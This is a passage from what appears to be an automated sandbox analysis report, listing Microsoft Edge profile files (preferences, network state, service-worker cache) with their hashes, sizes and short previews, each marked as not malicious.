Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1789
Entropy (8bit):	5.334375992541356
Encrypted:	false
SSDEEP:	48:YcgCzsG/tsvfc7kBaleeEssCgHwsCCgHMbxo+:FXA2kBakeoTKTMVo+
MD5:	5ADC1925A1855597B669A9FF0F6369FC
SHA1:	00C4DE1D7965CAE777F5D453B0E86B7F8E92743A
SHA-256:	887E891AF3E6F3541295A6C6FFE541349CC2D35D4D8E525ED8C701649D15630F
SHA-512:	79E493DAF50982A526D33001FD6466CD7E46081BA194D63A40DEE7C56F2A5001BDDAC37944F24AD1399FE0287A8F0A84BF179C9554CEE2AA161372DE591BE131
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378454604004780","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378454606575687","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://edge.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"anonymization":["HAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.3242983920754128
Encrypted:	false
SSDEEP:	48:T6IopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBCWl:OIEumQv8m1ccnvS6gptaD62RXjcyv
MD5:	946C4145AEC98159B37E51CAC81E223D
SHA1:	4D3A2AA572FD4587374DE466A010363B226D5734
SHA-256:	4332098E8CF0557514D892E2EF29562BAEB3BCB5790B60824F0C94C30CC0C65C
SHA-512:	2373FB8CB951754CAD75A4F20CDB9E634705AC02084AF91E67D745B1613AA42870D8C0EDD87ACB7003BC216483F79564FE157B93A13566EA0848D317519C8ABF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3850f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3904a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\fbb284b2-b1ab-4019-801a-60baed047c2a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12593
Entropy (8bit):	5.206553310095432
Encrypted:	false
SSDEEP:	192:styJ99QTryDigabatSuyp7sKP9sZihUkMDSu8ibV+FMYQA66W5waFIMYGPrYJ:styPGKSu47sKP9fhWbGHQx6W5waTYH
MD5:	55F4EE11A86121FA3928A30B9614FA8D
SHA1:	3FDE65DC310007FE19680060FA777B76BBB43945
SHA-256:	A75325A5C4282C9534EBFC2BAED38D6DB3352CB34DA4850A62D33E1AC8A61358
SHA-512:	DDD0A73CF4F2753CF148209C8D2A2B5ABDD7C053E64B9EE5507C20A2E6F55C1C8F2215DFC805D6027347F4E8D8110BF8580E5BCA6FF0AA084572052737FBC97B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375862601674345","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3c9d9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12593
Entropy (8bit):	5.206553310095432
Encrypted:	false
SSDEEP:	192:styJ99QTryDigabatSuyp7sKP9sZihUkMDSu8ibV+FMYQA66W5waFIMYGPrYJ:styPGKSu47sKP9fhWbGHQx6W5waTYH
MD5:	55F4EE11A86121FA3928A30B9614FA8D
SHA1:	3FDE65DC310007FE19680060FA777B76BBB43945
SHA-256:	A75325A5C4282C9534EBFC2BAED38D6DB3352CB34DA4850A62D33E1AC8A61358
SHA-512:	DDD0A73CF4F2753CF148209C8D2A2B5ABDD7C053E64B9EE5507C20A2E6F55C1C8F2215DFC805D6027347F4E8D8110BF8580E5BCA6FF0AA084572052737FBC97B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375862601674345","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF40d79.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12593
Entropy (8bit):	5.206553310095432
Encrypted:	false
SSDEEP:	192:styJ99QTryDigabatSuyp7sKP9sZihUkMDSu8ibV+FMYQA66W5waFIMYGPrYJ:styPGKSu47sKP9fhWbGHQx6W5waTYH
MD5:	55F4EE11A86121FA3928A30B9614FA8D
SHA1:	3FDE65DC310007FE19680060FA777B76BBB43945
SHA-256:	A75325A5C4282C9534EBFC2BAED38D6DB3352CB34DA4850A62D33E1AC8A61358
SHA-512:	DDD0A73CF4F2753CF148209C8D2A2B5ABDD7C053E64B9EE5507C20A2E6F55C1C8F2215DFC805D6027347F4E8D8110BF8580E5BCA6FF0AA084572052737FBC97B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375862601674345","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF482b9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12593
Entropy (8bit):	5.206553310095432
Encrypted:	false
SSDEEP:	192:styJ99QTryDigabatSuyp7sKP9sZihUkMDSu8ibV+FMYQA66W5waFIMYGPrYJ:styPGKSu47sKP9fhWbGHQx6W5waTYH
MD5:	55F4EE11A86121FA3928A30B9614FA8D
SHA1:	3FDE65DC310007FE19680060FA777B76BBB43945
SHA-256:	A75325A5C4282C9534EBFC2BAED38D6DB3352CB34DA4850A62D33E1AC8A61358
SHA-512:	DDD0A73CF4F2753CF148209C8D2A2B5ABDD7C053E64B9EE5507C20A2E6F55C1C8F2215DFC805D6027347F4E8D8110BF8580E5BCA6FF0AA084572052737FBC97B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375862601674345","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38626
Entropy (8bit):	5.554709631106472
Encrypted:	false
SSDEEP:	768:r5WoRL7pLGLpcGWPZRfx28F1+UoAYDCx9Tuqh0VfUC9xbog/OVjBfW3rwBpqceqB:r5WoRdcpcGWPZRfx2u1ja+hWkBpqcb6m
MD5:	E221046859ABA1EFA75260A972E3AC9E
SHA1:	55E52EF13A2A907141908FC1D97D527005F5B1D3
SHA-256:	A50AC8C1E649E723284705844EDB38EA26CF5D1169F2FCB84BAF99297947ECC5
SHA-512:	62CE4044D578424533674D5C33D1987BF49E50F6059AE76AC44F0F90E23B2CF9B2A90C1A2F8B19E0BB25DDF4082312F2CBB8A88258A69B806C36C00917438B31
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375862601151843","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375862601151843","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3dc86.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38626
Entropy (8bit):	5.554709631106472
Encrypted:	false
SSDEEP:	768:r5WoRL7pLGLpcGWPZRfx28F1+UoAYDCx9Tuqh0VfUC9xbog/OVjBfW3rwBpqceqB:r5WoRdcpcGWPZRfx2u1ja+hWkBpqcb6m
MD5:	E221046859ABA1EFA75260A972E3AC9E
SHA1:	55E52EF13A2A907141908FC1D97D527005F5B1D3
SHA-256:	A50AC8C1E649E723284705844EDB38EA26CF5D1169F2FCB84BAF99297947ECC5
SHA-512:	62CE4044D578424533674D5C33D1987BF49E50F6059AE76AC44F0F90E23B2CF9B2A90C1A2F8B19E0BB25DDF4082312F2CBB8A88258A69B806C36C00917438B31
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375862601151843","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375862601151843","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.835556259826548
Encrypted:	false
SSDEEP:	24:F2xc5NmvDcncmo0CRORpllg2DgSfRHSaVdCRORpllg20OHHZKCRORpllg2DgtRHO:F2emvstrdD7fBVXrd06srdD+BLrdtB8
MD5:	BE9AD07952CF27FA50B71D827784113A
SHA1:	D64B0685F82BF5DC054147D9698A76A4C49FA659
SHA-256:	F67D40E1488B841E054CC1521994A5CF3C4487ADECE019ED678AA9BAAD25EC67
SHA-512:	438C4D994897EBB9B3C3C07821FA225BE112B50F037EBA4855D652D8EAF0E686505D70BC43E4B9112FC7E3B7346FE68C2A03E650AAF489A6561251DB66607A41
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2'5.Qm................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.1093443299305905
Encrypted:	false
SSDEEP:	6:HU4Be2+RM1923oH+TcwtE/a252KLlVU4BBvq2P923oH+TcwtE/a2ZIFUv:S2+RhYeb8xLdvv4Yeb8J2FUv
MD5:	2CA52E37155134837B5CBEC627CDD46C
SHA1:	D7828D8719DD6274DF08CF1130096C4F897DE093
SHA-256:	035EE63F5D0CB132FD00FEF8C043923159A95490A8392CEC9918E58D07F5FCAB
SHA-512:	F18918BAF7866E2367AE04FA224C6C93E6BA398AB4F849FB64966A7BE7C42E685B39D14E60EBE3207B58AF965365B84A59418E1FF2821529FC74D152508D6373
Malicious:	false
Preview:	2024/11/12-00:23:36.013 1e24 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/12-00:23:36.027 1e24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	113653
Entropy (8bit):	5.579621707220743
Encrypted:	false
SSDEEP:	1536:sa906yxPXfOrr1lhCe1+46rCjF3NlH1V0ir4WriL/rDL/rpK:f9LyxPXfOrr1lMe1z6rWX1ns2iL/HL/A
MD5:	65AB7530E02DB7ED53CC1F441F4FEC5D
SHA1:	77749C73C0B38FB25DEC065046300042FAA948F0
SHA-256:	C0EAA80BA8812776AC66D4BD993B47D1A25141D968E9FCE072E10D130246EC0F
SHA-512:	CDF310148356F809481C9DB2BD868648A7912CE1AC73E0FA212777DC19D542B18E731AF1F9750EBF6A49B4FCD8BBB091B27C4D88792D442ACC83049A14FC4309
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	187817
Entropy (8bit):	6.38108232849194
Encrypted:	false
SSDEEP:	3072:vM2hr+rUNmcwja94BTzHmp25B5mAIWRYvJWBZshL/CBQcFoC4vyr:EVcwNTip83gWyvsBGL/De4vyr
MD5:	3B323EAC8377D9D527CA92B496F48F9C
SHA1:	8B009D100BF94B3FB55CEC43A1B60E7AEED030F4
SHA-256:	38AFEB9B45BAADA1094C5D53AA5C0C65ED443E2242B36EB65F9EC93D0FD29259
SHA-512:	90047ADA7F4E75809175771FB7D2F27E500AAD8791CB16104C5E090CCE14ED67D1199C44C2FD24B0B0521967FEB11C5F922176FDEF6BD4C13EB09EDFF5E0C525
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;....x.P........,T.8..`,.....L`.....,T...`......L`......Rc..t....exports...Rc........module....Rc.J......define....Rb.f.}....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m..;.b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....S...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
